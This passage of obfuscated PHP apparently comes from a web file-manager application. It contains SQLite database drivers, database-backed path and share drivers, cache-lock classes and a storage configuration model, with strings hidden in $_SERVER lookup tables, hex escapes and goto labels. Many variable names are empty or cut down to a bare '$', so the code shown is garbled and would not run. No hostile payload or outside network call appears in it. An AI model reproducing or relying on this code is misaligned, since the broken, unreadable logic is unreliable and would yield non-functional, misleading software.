(!extension_loaded($Ω[13])) { think_exception(think_lang($Ω[14]) . $Ω[15]); } if (!empty($Ж)) { if (!isset($Ж[$Ω[16]])) { $Ж[$Ω[16]] = 438; } $this->config = $Ж; if (empty($this->config[$Ω[17]])) { $this->config[$Ω[17]] = array(); } } } public function connect($ͪ = '', $ = 0) { $ȷ =& $_SERVER[]; if (!isset($this->linkID[$])) { if (empty($ͪ)) { $ͪ = $this->config; } $ = !empty($ͪ[$ȷ[17]][$ȷ[18]]) ? $ͪ[$ȷ[17]][$ȷ[18]] : $this->pconnect; $ = $ ? $ȷ[19] : $ȷ[20]; $this->linkID[$] = $($ͪ[$ȷ[21]], $ͪ[$ȷ[16]]); if (!$this->linkID[$]) { think_exception(sqlite_error_string()); } $this->connected = !0; @sqlite_busy_timeout($this->linkID[$], 30000); if (1 != think_config($ȷ[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID = null; } public function query($) { $Φ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($Φ[23], 1); think_status($Φ[24]); $this->queryID = sqlite_query($this->_linkID, $); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = sqlite_num_rows($this->queryID); $ = $this->getAll(); return $; } } public function execute($) { $ȟ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($ȟ[25], 1); think_status($ȟ[24]); $ȃ = sqlite_exec($this->_linkID, $); $this->debug(); if (!1 === $ȃ) { $this->error(); return !1; } else { $this->numRows = sqlite_changes($this->_linkID); $this->lastInsID = sqlite_last_insert_rowid($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { sqlite_query($this->_linkID, $_SERVER[][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ề = sqlite_query($this->_linkID, $_SERVER[][27]); if (!$ề) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = sqlite_query($this->_linkID, $_SERVER[][28]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $ͳ = array(); if ($this->numRows > 0) { for ($Ա = 0; $Ա < $this->numRows; $Ա++) { $ͳ[$Ա] = sqlite_fetch_array($this->queryID, SQLITE_ASSOC); } sqlite_seek($this->queryID, 0); } return $ͳ; } public function getFields($Л) { $ͨЃ =& $_SERVER[]; $ = $this->query($ͨЃ[29] . $Л . $ͨЃ[30]); $ؠΌ = array(); if ($) { foreach ($ as $ֹ => $) { $ؠΌ[$[$ͨЃ[31]]] = array($ͨЃ[32] => $[$ͨЃ[31]], $ͨЃ[33] => $[$ͨЃ[34]], $ͨЃ[35] => (bool) ($[$ͨЃ[36]] === $ͨЃ[12]), $ͨЃ[37] => $[$ͨЃ[38]], $ͨЃ[39] => strtolower($[$ͨЃ[40]]) == $ͨЃ[41], $ͨЃ[42] => strtolower($[$ͨЃ[43]]) == $ͨЃ[44]); } } return $ؠΌ; } public function getTables($ = '') { $ʰˤ =& $_SERVER[]; $ = $this->query($ʰˤ[45] . $ʰˤ[46] . $ʰˤ[47]); $ɡ = array(); foreach ($ as $ => $) { $ɡ[$] = current($); } return $ɡ; } public function close() { if ($this->_linkID) { sqlite_close($this->_linkID); } $this->_linkID = null; } public function error() { $ˑ =& $_SERVER[]; $מ = sqlite_last_error($this->_linkID); $this->error = $מ . $ˑ[4] . sqlite_error_string($מ); if ($ˑ[12] != $this->queryStr) { $this->error .= LNG($ˑ[48]) . $this->queryStr; } think_trace($this->error, $ˑ[12], $ˑ[49]); return $this->error; } public function escapeString($) { return sqlite_escape_string($); } public function parseLimit($) { $ڹ =& $_SERVER[]; $я = $ڹ[12]; if (!empty($)) { $ = explode($ڹ[50], $); if (count($) > 1) { $я .= $ڹ[51] . $[1] . $ڹ[52] . $[0] . $ڹ[53]; } else { $я .= $ڹ[51] . $[0] . $ڹ[53]; } } return $я; } } class DbSqlite3Base extends Db { public function __construct($Ɲ = '') { $ۛ =& $_SERVER[]; if (!class_exists($ۛ[54])) { think_exception(think_lang($ۛ[14]) . $ۛ[55]); } if (!empty($Ɲ)) { if (!isset($Ɲ[$ۛ[16]])) { $Ɲ[$ۛ[16]] = 438; } $this->config = $Ɲ; if (empty($this->config[$ۛ[17]])) { $this->config[$ۛ[17]] = array(); } } } public function connect($Ȩ = '', $ͫ = 0) { $ߦ =& $_SERVER[]; if (!isset($this->linkID[$ͫ])) { if (empty($Ȩ)) { $Ȩ = $this->config; } $this->linkID[$ͫ] = new SQLite3($Ȩ[$ߦ[21]]); if (!$this->linkID[$ͫ]) { think_exception($this->linkID[$ͫ]->lastErrorMsg()); } $this->connected = !0; @$this->linkID[$ͫ]->busyTimeout(30000); if (1 != think_config($ߦ[22])) { unset($this->config); } } return $this->linkID[$ͫ]; } public function free() { $this->queryID = null; } public function query($) { $ԩ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($ԩ[23], 1); think_status($ԩ[24]); $this->queryID = $this->_linkID->query($); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $ڻ = $this->getAll(); $this->numRows = count($ڻ); return $ڻ; } } public function execute($) { $ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $ = $this->_linkID->exec($); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->changes(); $this->lastInsID = $this->_linkID->lastInsertRowID(); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->query($_SERVER[][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ʆ = $this->_linkID->query($_SERVER[][27]); if (!$ʆ) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->query($_SERVER[][28]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $ڹ輷 = array(); while ($繁 = $this->queryID->fetchArray(SQLITE3_ASSOC)) { $ڹ輷[] = $繁; } $this->queryID->reset(); return $ڹ輷; } public function getFields($Ĝ) { $ʘ =& $_SERVER[]; $ = $this->query($ʘ[29] . $Ĝ . $ʘ[30]); $Ԭږ = array(); if ($) { foreach ($ as $ٵݥ => $) { $Ԭږ[$[$ʘ[32]]] = array($ʘ[32] => $[$ʘ[32]], $ʘ[33] => $[$ʘ[33]], $ʘ[35] => (bool) ($[$ʘ[35]] === $ʘ[12]), $ʘ[37] => $[$ʘ[56]], $ʘ[39] => (bool) $[$ʘ[57]], $ʘ[42] => (bool) $[$ʘ[57]]); } } return $Ԭږ; } public function getTables($ = '') { $☻ =& $_SERVER[]; $̰ = $this->query($☻[45] . $☻[46] . $☻[47]); $Ҷ = array(); foreach ($̰ as $Ե => $跶) { $Ҷ[$Ե] = current($跶); } return $Ҷ; } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $ =& $_SERVER[]; $this->error = $this->_linkID->lastErrorMsg(); if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($) { $ւՂ =& $_SERVER[]; if ($this->_linkID) { return $this->_linkID->escapeString($); } return str_ireplace($ւՂ[58], $ւՂ[59], $); } public function parseLimit($) { $ѯ႗ =& $_SERVER[]; $ = $ѯ႗[12]; if (!empty($)) { $ = explode($ѯ႗[50], $); if (count($) > 1) { $ .= $ѯ႗[51] . $[1] . $ѯ႗[52] . $[0] . $ѯ႗[53]; } else { $ .= $ѯ႗[51] . $[0] . $ѯ႗[53]; } } return $; } } goto Dč; C덍: class PathDriverDB extends PathDriverBase { public $model; public $pathParse; public function __construct($) { $this->pathParse = $; $this->model = Model($_SERVER[][1335]); } public function getPath($®) { return trim($®, $_SERVER[][8]); } public function pathFather($) { $ = $this->parse($); $ = $this->infoSimple($); return $ ? $[$_SERVER[][432]] : !1; } public function pathThis($) { $ = $this->infoSimple($); return $ ? $[$_SERVER[][32]] : !1; } public function getPathOuter($) { if (!$) { return $; } $ = $this->parse($); return KodIO::make($[$_SERVER[][399]]); } public function copyFolderFromIO($, $, $, $, $) { $䏂 = $this->model->copyFolderFromIO($, $, $, $, $); return KodIO::make($䏂); } public function isParentOf($, $) { return $this->model->isParentOf($, $); } public function mkfile($ޭ, $Я = '', $Ьϴ = REPEAT_RENAME) { $ =& $_SERVER[]; $ɫ퐥 = $this->parse($ޭ); $ޭ = $ɫ퐥[$[399]]; for ($癸 = 0; $癸 < count($ɫ퐥[$[1336]]); $癸++) { $ = $ɫ퐥[$[1336]][$癸]; if ($癸 == count($ɫ퐥[$[1336]]) - 1) { $ޭ = $this->model->mkfile($ޭ, $, $Я, $Ьϴ); break; } $ޭ = $this->model->mkdir($ޭ, $, REPEAT_SKIP); } return $this->getPathOuter($ޭ); } public function mkdir($, $ = REPEAT_SKIP) { $ =& $_SERVER[]; $ = $this->parse($); $ = $[$[399]]; for ($Ύ = 0; $Ύ < count($[$[1336]]); $Ύ++) { $ = $[$[1336]][$Ύ]; $ = $this->model->mkdir($, $, $); } return $this->getPathOuter($); } public function copyFile($饵, $ݏ, $ = REPEAT_REPLACE) { $ȶ =& $_SERVER[]; $̓ = $this->parse($ݏ); $ = $this->model->copy($饵, $̓[$ȶ[399]], $, $̓[$ȶ[84]]); return $ ? $this->getPathOuter($) : !1; } public function moveFile($, $ע, $ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ť = $this->parse($ע); $ = $this->model->move($, $ť[$[399]], $, $ť[$[84]]); return $ ? $this->getPathOuter($) : !1; } public function copy($쯲, $, $ = REPEAT_REPLACE, $ = false) { $ߥ܂ = $this->parse($); $ʛՒ = $this->model->copy($쯲, $ߥ܂[$_SERVER[][399]], $, $); return $ʛՒ ? $this->getPathOuter($ʛՒ) : !1; } public function moveSameAllow() { } public function move($, $֖, $ = REPEAT_REPLACE, $ = false) { $ן = $this->parse($֖); $ = $this->model->move($, $ן[$_SERVER[][399]], $, $); return $ ? $this->getPathOuter($) : !1; } public function remove($ٰ, $炼 = true) { return $this->model->remove($ٰ, $炼); } public function rename($, $֠) { $ӕ = $this->model->rename($, $֠); return $ӕ ? $this->getPathOuter($) : $ӕ; } public function size($М) { $ὀ = $this->infoSimple($М); return $ὀ ? $ὀ[$_SERVER[][76]] : 0; } public function infoSimple($) { return $this->model->sourceInfo($); } public function info($μ) { return $this->infoParse($μ); } public function infoAuth($ۂ) { return $this->infoParse($ۂ, !1, !0); } public function infoWithChildren($) { return $this->infoParse($, !0); } protected function infoParse($, $ = false, $Δӏ = false) { if (!$) { return $this->model->pathInfo($, $Δӏ); } return $this->model->pathInfoMore($); } public function infoFull($) { $ʕŋ =& $_SERVER[]; $ٱ = explode($ʕŋ[8], $); $ = implode($ʕŋ[8], array_splice($ٱ, 1)); return $this->model->pathInfoByPath($ٱ[0], $); } public function hashSimple($) { $ǙԳ =& $_SERVER[]; $ = $this->infoWithChildren($); return $[$ǙԳ[170]][$ǙԳ[177]]; } public function hashMd5($) { $ =& $_SERVER[]; $ɺ = $this->infoWithChildren($); return $ɺ[$[170]][$[176]]; } public function exist($ғ) { $漗 =& $_SERVER[]; $ݳ = $this->parse($ғ); if (!$ݳ[$漗[84]]) { return $this->isFile($ғ) || $this->isFolder($ғ); } $ţ = array($漗[401] => $ݳ[$漗[399]], $漗[32] => $ݳ[$漗[84]]); $ = $this->model->where($ţ)->find(); return $ ? !0 : !1; } public function isFile($Ί) { $ٱ =& $_SERVER[]; $ = $this->infoSimple($Ί); return $ && $[$ٱ[410]] == $ٱ[88] ? !1 : !0; } public function isFolder($숑) { $ˎ =& $_SERVER[]; $ٌ = $this->infoSimple($숑); return $ٌ && $ٌ[$ˎ[410]] == $ˎ[88] ? !0 : !1; } public function listPath($, $靠 = false) { $Ŷ =& $_SERVER[]; if ($ == $Ŷ[12]) { return !1; } $렋 = array($Ŷ[401] => $); if ($靠) { return $this->model->listSource($렋, -1); } return $this->model->listSource($렋); } public function has($讅, $ = false, $ = null) { $ҫ =& $_SERVER[]; $הƼ = $this->infoWithChildren($讅); if ($) { return array($ҫ[208] => $הƼ[$ҫ[208]], $ҫ[207] => $הƼ[$ҫ[207]]); } return $ ? $הƼ[$ҫ[208]] : $הƼ[$ҫ[207]]; } public function listAll($՚) { $ = IO::info($this->pathParse[$_SERVER[][84]]); if (!$) { return array(); } return $this->model->listAll($՚); } public function getContent($) { return $this->model->getContent($); } public function setContent($ɢ, $ = '') { return $this->model->setContent($ɢ, $); } public function fileSubstr($͡, $㉤, $䚠) { return $this->model->fileSubstr($͡, $㉤, $䚠); } public function download($ܸ, $Է = '') { $Ϸ = get_path_father($Է); $ = get_path_this($Է); $Ć = $this->model->fileInfoGet($ܸ); $ = IO::copy($Ć[$_SERVER[][84]], $Ϸ, !1, $); return $; } public function setModifyTime($ۨץ, $ԉ = '') { $»֩ =& $_SERVER[]; if (!$ۨץ) { return; } $this->model->where(array($»֩[417] => $ۨץ))->save(array($»֩[85] => $ԉ)); } public function upload($λ, $҄ț, $Èդ = false, $ʴ = REPEAT_REPLACE) { $ =& $_SERVER[]; $DŽ = $this->parse($λ); $ = $this->model->addFile($DŽ[$[399]], $҄ț, $DŽ[$[84]], $Èդ, $ʴ); return $this->getPathOuter($); } public function uploadFileByID($, $מ, $) { $܃ =& $_SERVER[]; $镽 = $this->parse($); $ = $this->model->addFileByFileID($镽[$܃[399]], $מ, $镽[$܃[84]], $); return $this->getPathOuter($); } public function addFileByRemote($ﭸ, $, $ױ = array(), $ޭ = '', $ܸ) { $ =& $_SERVER[]; $끘 = $this->parse($ﭸ); $ޭ = empty($ޭ) ? $끘[$[84]] : $ޭ; $ʷ = $this->model->addFileByRemote($끘[$[399]], $, $ޭ, $ױ, $ܸ); return $this->getPathOuter($ʷ); } public function uploadLink($毟, $ξ = 0) { $Šɔ =& $_SERVER[]; $Ɖ = $this->parse($毟); $ = _get($GLOBALS[$Šɔ[7]], $Šɔ[1337]); $ = _get($GLOBALS[$Šɔ[7]], $Šɔ[1338]); $毟 = Model($Šɔ[601])->createFileName($Ɖ[$Šɔ[84]], $, $); return IO::uploadLink($毟, $ξ); } public function fileNameAuto($ßړ, $, $ʂ = REPEAT_REPLACE, $ = false) { return $this->model->fileNameAuto($ßړ, $, $ʂ, $); } public function fileNameExist($ؓ, $Ύ) { return $this->model->fileNameExist($ؓ, $Ύ); } protected function _fileOut($Ӧ, $ªЬ = false, $Ⱥ = false, $ = '', $Ϳ = false) { $ =& $_SERVER[]; $ԫ = $this->model->sourceInfo($Ӧ); if ($ԫ[$[410]] == $[88]) { header($[1339]); die; } $۴ = $this->model->fileInfoGet($Ӧ); $ = $۴[$[176]] ? $۴[$[176]] : $; $ = isset($GLOBALS[$[1340]]) ? $GLOBALS[$[1340]] : $ԫ[$[32]]; if ($Ϳ) { return IO::fileOutServer($۴[$[84]], $ªЬ, $, $); } IO::fileOut($۴[$[84]], $ªЬ, $, $); } public function fileOut($, $ǚ = false, $ɒ = false, $ = '') { $this->_fileOut($, $ǚ, $ɒ, $); } public function fileOutServer($؊ƗÅ, $ɼ = false, $ = false, $ń = '') { $this->_fileOut($؊ƗÅ, $ɼ, $, $ń, !0); } protected function _fileOutImage($ā, $ϰ = 250) { $Ó =& $_SERVER[]; $ѵ = $this->model->pathInfo($ā); if ($ѵ[$Ó[410]] == $Ó[88]) { show_json($Ó[1341] . $ā, !1); } $ = $this->model->fileInfoGet($ā); $[$Ó[32]] = $ѵ[$Ó[32]]; $[$Ó[169]] = $ѵ[$Ó[169]]; $GLOBALS[$Ó[1340]] = $[$Ó[32]]; $GLOBALS[$Ó[168]] = $; IO::fileOutImage($[$Ó[84]], $ϰ); } public function fileOutImage($뀳, $辩 = 250) { $this->_fileOutImage($뀳, $辩); } public function fileOutImageServer($, $ = 250) { $this->_fileOutImage($, $); } public function link($抏, $ = '') { $ۋ = $this->model->fileInfoGet($抏); return IO::link($ۋ[$_SERVER[][84]], $); } protected function parse($ܸ) { $ =& $_SERVER[]; if (strstr($ܸ, $[8]) === !1) { return array($[419] => intval($ܸ), $[84] => $[12], $[1336] => array()); } $ = explode($[8], trim($ܸ, $[8])); if (count($) < 2) { show_tips(clear_html($ܸ) . $[1342]); } return array($[419] => intval($[0]), $[84] => $[1], $[1336] => array_slice($, 1)); } } class PathDriverDbShareItem extends PathDriverDB { public function __construct($) { $this->pathParse = $; $this->model = Model($_SERVER[][1335]); } public function getPathOuter($) { $͊ =& $_SERVER[]; if (!$) { return $; } $̔ӌ = $this->parse($); return trim(KodIO::makeShare($this->pathParse[$͊[399]], $̔ӌ[$͊[399]]), $͊[8]); } protected function infoParse($, $ʔ = false, $ꋚ = false) { $ِ =& $_SERVER[]; $益 = $this->pathParse[$ِ[399]]; $ = trim($this->pathParse[$ِ[1164]], $ِ[8]); return Action($ِ[1343])->sharePathInfo($益, $, $ʔ); } public function infoFull($) { $dž± =& $_SERVER[]; $ݫ = explode($dž±[8], trim($, $dž±[8])); if (count($ݫ) > 1) { $쿝 = implode($dž±[8], array_splice($ݫ, 1)); $碍 = $this->model->pathInfoByPath($ݫ[0], $쿝); if (!$碍) { return !1; } $this->pathParse[$dž±[1164]] = $碍[$dž±[402]]; } return $this->infoParse($); } public function listAll($ٗ) { $ =& $_SERVER[]; $؆ = IO::info($this->pathParse[$[84]]); if (!$؆) { return array(); } $ѹ߹ = $this->model->listAll($ٗ); $ⴡ = Model($[592])->getInfo($؆[$[593]]); foreach ($ѹ߹ as &$) { check_abort(); $[$[87]] = Action($[1343])->_shareItemeParse($[$[87]], $ⴡ); } unset($); return $ѹ߹; } } class PathDriverDbShareLink extends PathDriverDB { public function __construct($ү) { $this->pathParse = $ү; $this->model = Model($_SERVER[][1335]); } protected function infoParse($χͦ, $ = false, $ = false) { $ =& $_SERVER[]; return Action($[1170])->sharePathInfo($this->pathParse[$[84]], !0, $); } public function listPath($ʟ, $֛ = false) { $Ә =& $_SERVER[]; $О = parent::listPath($ʟ, $֛); if (!$О) { return $О; } if (is_array($О[$Ә[1344]])) { $О[$Ә[1344]] = Action($Ә[1170])->shareItemInfo($О[$Ә[1344]]); } foreach ($О as $ => $ȭ) { if (!in_array($, array($Ә[83], $Ә[82]))) { continue; } foreach ($ȭ as $妢 => $) { $О[$][$妢] = Action($Ә[1170])->shareItemInfo($); } } return $О; } public function listAll($) { $ =& $_SERVER[]; $̃ = IO::info($this->pathParse[$[84]]); if (!$̃) { return array(); } $ʁؔ = $this->model->listAll($); foreach ($ʁؔ as &$ɡ) { $ɡ[$[87]] = Action($[1170])->shareItemInfo($ɡ[$[87]]); } unset($ɡ); return $ʁؔ; } } goto b݉; BԆ盷: class CacheLockRedis { public function lock($, $ = 10) { $¼ = Cache::init(); $ = microtime(!0) + $; while (microtime(!0) < $) { $㑳 = $¼->get($); if (!$㑳) { $ڰɂ = $¼->setLock($, $, $); if ($ڰɂ) { return !0; } } else { if ($㑳 < microtime(!0)) { $¼->set($, $, $ * 2); if ($¼->get($) === $㑳) { return !0; } } } cacheLockWait(); } return !1; } public function lockGet($ɯ) { return Cache::init()->get($ɯ); } public function unlock($) { return Cache::init()->remove($); } } class CacheLockMemcached { public function lock($譼, $ߡ = 0) { $ = Cache::init(); $փ = microtime(!0) + $ߡ; while (microtime(!0) < $փ) { $̚ = $->get($譼); if (!$̚ || $̚ < microtime(!0)) { $蜤 = $->handle->add($譼, $փ, $ߡ); if ($蜤) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($) { return Cache::init()->get($); } public function unlock($) { return Cache::init()->remove($); } } class CacheLockDatabase { public function lock($ũ, $ˈ = 0) { $һ = Model($_SERVER[][826]); $ = microtime(!0) + $ˈ; while (microtime(!0) < $) { $υ帖 = $һ->get($ũ); if (!$υ帖 || $υ帖 < microtime(!0)) { $⑆ = $һ->set($ũ, $); if ($⑆) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($) { return Model($_SERVER[][826])->get($); } public function unlock($) { Model($_SERVER[][826])->remove($); } } goto fɕ; cʩ: class StorageModel extends ModelBaseLight { public $optionType = "\123\x79\x73\164\145\155\56\163\x74\x6f\162\x61\147\145\x4c\x69\163\164"; public $field = array("\x6e\141\155\x65", "\x73\x69\x7a\x65\x4d\141\170", "\163\x79\x73\x74\x65\155", "\x64\x65\146\141\165\x6c\164", "\144\162\151\166\145\162", "\143\157\x6e\x66\x69\147"); public function listData($ܵ߉ = false, $Ȗ = "\155\x6f\x64\151\x66\x79\124\151\155\145", $ = false) { $닧ȁ =& $_SERVER[]; $ڀ = parent::listData($ܵ߉, $Ȗ, $); if ($ܵ߉) { return $ڀ; } $Ɇ = $this->ioSizeUseGet(array_to_keyvalue($ڀ, $닧ȁ[12], $닧ȁ[399])); foreach ($ڀ as $ => $ߛ) { unset($ڀ[$][$닧ȁ[6]]); $ڀ[$][$닧ȁ[1841]] = isset($Ɇ[$ߛ[$닧ȁ[399]]]) ? $Ɇ[$ߛ[$닧ȁ[399]]] : 0; } return $ڀ; } public function ioSizeUseGet($܀) { $Ǫ =& $_SERVER[]; if (!$܀) { return array(); } $ϵ = $Ǫ[2169] . implode($Ǫ[50], $܀); $Ҝ = Cache::get($ϵ); if ($Ҝ) { return $Ҝ; } $꼨 = array($Ǫ[814] => $Ǫ[399], $Ǫ[2170] => $Ǫ[76]); $ = array($Ǫ[814] => array($Ǫ[7], $܀)); $Ҝ = Model($Ǫ[786])->field($꼨)->where($)->group($Ǫ[814])->select(); $Ҝ = array_to_keyvalue($Ҝ, $Ǫ[399], $Ǫ[76]); Cache::set($ϵ, $Ҝ, 600); return $Ҝ; } public function getConfig($兕) { $ = parent::listData($兕); return json_decode($[$_SERVER[][6]], !0); } public function update($, $) { $˚͒ =& $_SERVER[]; $ = $[$˚͒[32]]; $ = array_to_keyvalue(parent::listData(), $˚͒[32]); if (isset($[$]) && $[$][$˚͒[399]] != $) { return !1; } $this->checkPwd($, $); if (isset($[$˚͒[2171]]) && $[$˚͒[2171]] == $˚͒[88]) { $this->checkConfig($); } unset($[$˚͒[2171]]); $ۥ = parent::update($, $); if ($ۥ && $[$˚͒[37]]) { $볩 = 0; foreach ($ as $ݖ) { if ($ݖ[$˚͒[37]] && $ݖ[$˚͒[399]] != $) { $볩 = $ݖ[$˚͒[399]]; parent::update($ݖ[$˚͒[399]], array($˚͒[37] => 0)); } } $this->updateBackup($, $볩); } return $ۥ; } public function add($) { $ =& $_SERVER[]; $ȝ㢐 = array_to_keyvalue(parent::listData(), $[32]); if (isset($ȝ㢐[$[$[32]]])) { return !1; } $this->checkConfig($); $ = parent::insert($); if ($ && $[$[37]]) { foreach ($ȝ㢐 as $ɡú) { if ($ɡú[$[37]]) { parent::update($ɡú[$[399]], array($[37] => 0)); } } } return $; } public function updateBackup($乆, $) { $ =& $_SERVER[]; if (!$) { return; } $ = Model($[745])->config(); if ($[$[1633]] != $[88] || $[$[748]] != $) { return; } $٫ = Model($[767])->get($[777]); $٫ = json_decode($٫, !0); if (!$٫) { return; } $٫[$[748]] = $乆; Model($[767])->set(array($[777] => $٫)); } public function checkPwd($߃, &$͠) { $ =& $_SERVER[]; if (empty($͠[$[6]])) { return; } $Ԛ = json_decode($͠[$[6]], !0); $ = $[12]; $ҭ = array($[2172], $[2173], $[885]); foreach ($ҭ as $ݚ) { if (isset($Ԛ[$ݚ])) { $ = $ݚ; break; } } if (!$) { return; } $ӥ = $this->getConfig($߃); $ɛ = $ӥ[$]; $ = $Ԛ[$]; if ($ == str_repeat($[189], strlen($ɛ))) { $Ԛ[$] = $ɛ; $͠[$[6]] = json_encode($Ԛ); } else { if ($ != $ɛ) { $͠[$[2171]] = $[88]; } } } public function checkConfig(&$, $ = false) { $ٸɰ =& $_SERVER[]; $ɍ = strtolower($[$ٸɰ[95]]); $ = json_decode($[$ٸɰ[6]], !0); foreach ($ as $ => $) { $[$] = trim($); } $[$ٸɰ[2174]] = rand_string(6); $ = $GLOBALS[$ٸɰ[6]][$ٸɰ[89]][$ٸɰ[823]]; $ = isset($[$ɍ]) ? $[$ɍ] : ucfirst($ɍ); $ = $ٸɰ[74] . $; if (!$ || !class_exists($)) { if ($) { return LNG($ٸɰ[2175]); } write_log(array($ٸɰ[2176], $, get_caller_info()), $ٸɰ[2177]); show_json(LNG($ٸɰ[2175]), !1, $); } $ = new $($); if (in_array($ɍ, $->objectDriver)) { if (!$->isBucketCors() && !$->setBucketCors()) { $ = LNG($ٸɰ[2178]); $ .= $ٸɰ[2179] . LNG($ٸɰ[2180]); if ($) { return $; } show_json($, !1); } } $ = rtrim($[$ٸɰ[1176]], $ٸɰ[8]) . $ٸɰ[8]; $侲 = $->getPath($ . $ٸɰ[1180]); if (!$->mkfile($侲)) { if ($) { return LNG($ٸɰ[2178]); } show_json(LNG($ٸɰ[2178]), !1); } $[$ٸɰ[1176]] = $; $[$ٸɰ[6]] = json_encode($); $[$ٸɰ[95]] = $; return !0; } public function driverListSystem() { $ϒ =& $_SERVER[]; $ = parent::listData(); $Ǡ = array(); foreach ($ as $Ն) { unset($Ն[$ϒ[201]], $Ն[$ϒ[85]]); $Ն[$ϒ[6]] = json_decode($Ն[$ϒ[6]], !0); $Ǡ[] = $Ն; } return $Ǡ; } public function defaultDriver() { $ȷМ =& $_SERVER[]; $ = parent::listData(); $ = array_filter_by_field($, $ȷМ[37], 1); $ = $[0]; if ($) { $[$ȷМ[6]] = json_decode($[$ȷМ[6]], !0); } return $; } public function driverInfo($ü) { $ =& $_SERVER[]; $Ѱ = array_to_keyvalue(parent::listData(), $[399]); if (!isset($Ѱ[$ü])) { return !1; } $ٻ = $Ѱ[$ü]; $ٻ[$[6]] = json_decode($ٻ[$[6]], !0); return $ٻ; } public function remove($ԋ) { $this->removeShareItems($ԋ); return parent::remove($ԋ); } public function removeWithFile($桖, $Ɠ) { $χѣ =& $_SERVER[]; $ϡ = array($χѣ[814] => $桖); $ބ = Model($χѣ[471])->where($ϡ)->count(); $徔 = Model($χѣ[471])->where($ϡ)->sum($χѣ[76]); $ə = $Ɠ . $χѣ[2181] . $桖; $ = LNG($Ɠ == $χѣ[548] ? $χѣ[2182] : $χѣ[2183]); $հ칎 = new TaskFileTransfer($ə, $χѣ[2177], $ބ, $ . "\50{$桖}\51"); $հ칎->task[$χѣ[760]] = (double) $徔; $ = KodIO::defaultDriver(); $Ʀ = $[$χѣ[399]]; $ = "\173\x69\x6f\x3a{$Ʀ}\175\57"; $ͺ = !0; $ɡ = array(); $ = Model($χѣ[200])->where($ϡ)->field($χѣ[2184])->select(); foreach ($ as $𣊱) { $ҷά = $𣊱[$χѣ[84]]; $ǐ = $ . str_replace("\173\x69\x6f\x3a{$桖}\175\57", $χѣ[12], $ҷά); if (!IO::exist($ҷά)) { $ɡ[] = $𣊱[$χѣ[468]]; $հ칎->updateFileEnd($𣊱[$χѣ[32]], $𣊱[$χѣ[76]]); continue; } if (IO::exist($ǐ)) { $հ칎->updateFileEnd($𣊱[$χѣ[32]], $𣊱[$χѣ[76]]); continue; } if (!IO::move($ҷά, get_path_father($ǐ))) { $ͺ = !1; break; } $ϡ = array($χѣ[468] => $𣊱[$χѣ[468]]); $ʑ = array($χѣ[814] => $Ʀ, $χѣ[84] => $ǐ); Model($χѣ[200])->where($ϡ)->save($ʑ); } $this->removeByFileID($ɡ); if (!$ͺ) { $հ칎->stop($ə); return !1; } $հ칎->end(); if ($Ɠ == $χѣ[1821]) { $this->remove($桖); } } public function progress($Ԟ, $ϣ) { return Task::get($ϣ . $_SERVER[][2181] . $Ԟ); } private function removeByFileID($潫 = array()) { $ =& $_SERVER[]; if (empty($潫)) { return; } $ғ = array($[468] => array($[7], $潫)); $º = Model($[1335])->where($ғ)->field($[402])->select(); if (!$º) { return; } $º = array_to_keyvalue($º, $[12], $[402]); foreach ($º as $Lj) { Model($[416])->removeNow($Lj, !1); } } private function removeShareItems($ƧԦ) { $ =& $_SERVER[]; $ = "\x7b\151\157\72{$ƧԦ}\175\57"; $Ԅ = array($[402] => 0, $[1171] => array($[383], "{$}\x25")); $dž = Model($[1832])->where($Ԅ)->field($[593])->select(); if (empty($dž)) { return; } $ϻ = array_to_keyvalue($dž, $[12], $[593]); Model($[592])->remove($ϻ); } } class SystemLightAppModel extends ModelBaseLight { public $optionType = "\x53\x79\163\x74\x65\x6d\x2e\x4c\x69\x67\150\164\101\x70\160"; public $modelType = "\x53\x79\x73\x74\145\155\117\160\x74\151\x6f\156"; public $field = array("\156\141\x6d\x65", "\x67\162\x6f\x75\x70", "\x64\x65\163\143", "\x63\x6f\x6e\x74\x65\156\x74"); public function listData($巓 = false, $ = "\155\157\144\x69\146\x79\124\x69\x6d\145", $ʼ = true) { return parent::listData($巓, $, $ʼ); } public function remove($) { $ᇔ = $this->findByName($); if (!$ᇔ) { return !1; } return parent::remove($ᇔ[$_SERVER[][399]]); } public function add($) { if ($this->findByName($[$_SERVER[][32]])) { return !1; } return parent::insert($); } public function update($ּⰃ, $) { $ꏅ =& $_SERVER[]; $ = $this->findByName($ּⰃ); $ۆ읡 = $this->findByName($[$ꏅ[32]]); if (!$ || $ۆ읡 && $ۆ읡[$ꏅ[399]] != $[$ꏅ[399]]) { return !1; } return parent::update($[$ꏅ[399]], $); } } class SystemLogModel extends ModelBase { protected $tableName = 